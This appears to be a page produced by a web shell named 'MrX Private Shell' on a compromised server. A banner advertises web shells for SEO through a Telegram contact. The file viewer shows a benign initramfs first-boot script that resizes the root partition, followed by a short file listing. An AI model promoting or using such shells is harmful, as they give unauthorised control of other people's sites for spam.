__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/sh
set -e
case "${1}" in
prereqs)
exit 0
;;
esac
if ! grep -q firstboot /proc/cmdline; then
exit 0
fi
get_variables () {
set +e # This function does not work as intended with -e
local_device_setup "$ROOT" "root file system"
set -e
ROOT_PART_NAME="$(lsblk -no kname "$DEV")"
ROOT_DEV_NAME="$(lsblk -no pkname "$DEV")"
ROOT_DEV="/dev/$ROOT_DEV_NAME"
ROOT_PART_NUM=$(cat "/sys/block/$ROOT_DEV_NAME/$ROOT_PART_NAME/partition")
ROOT_DEV_SIZE=$(cat "/sys/block/$ROOT_DEV_NAME/size")
TARGET_END="$((ROOT_DEV_SIZE - 1))"
if [ "$TARGET_END" -gt 4294967295 ]; then
TARGET_END=4294967295
fi
}
do_resize () {
if ! parted -m "$ROOT_DEV" u s resizepart "$ROOT_PART_NUM" "$TARGET_END"; then
FAIL_REASON="Partition table resize of the root partition ($DEV) failed\n$FAIL_REASON"
return 1
fi
wait_for_udev 10
resize2fs -f -p "$DEV"
RET="$?"
if [ "$RET" -ne 0 ]; then
FAIL_REASON="Root partition resize failed\n$FAIL_REASON"
fi
return "$RET"
}
. /scripts/functions
. /scripts/local
log_begin_msg "Resizing root filesystem...\n\nDepending on storage size and speed, this may take a while."
get_variables
if [ "${ROOT_PART_NUM}" -lt 5 ]; then
do_resize
else
log_warning_msg "Resize skipped due to unexpected partition table"
fi
log_end_msg
exit 0
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| firstboot | File | 1.29 KB | 0755 |
|
| ntfs_3g | File | 226 B | 0755 |
|
| resume | File | 863 B | 0755 |
|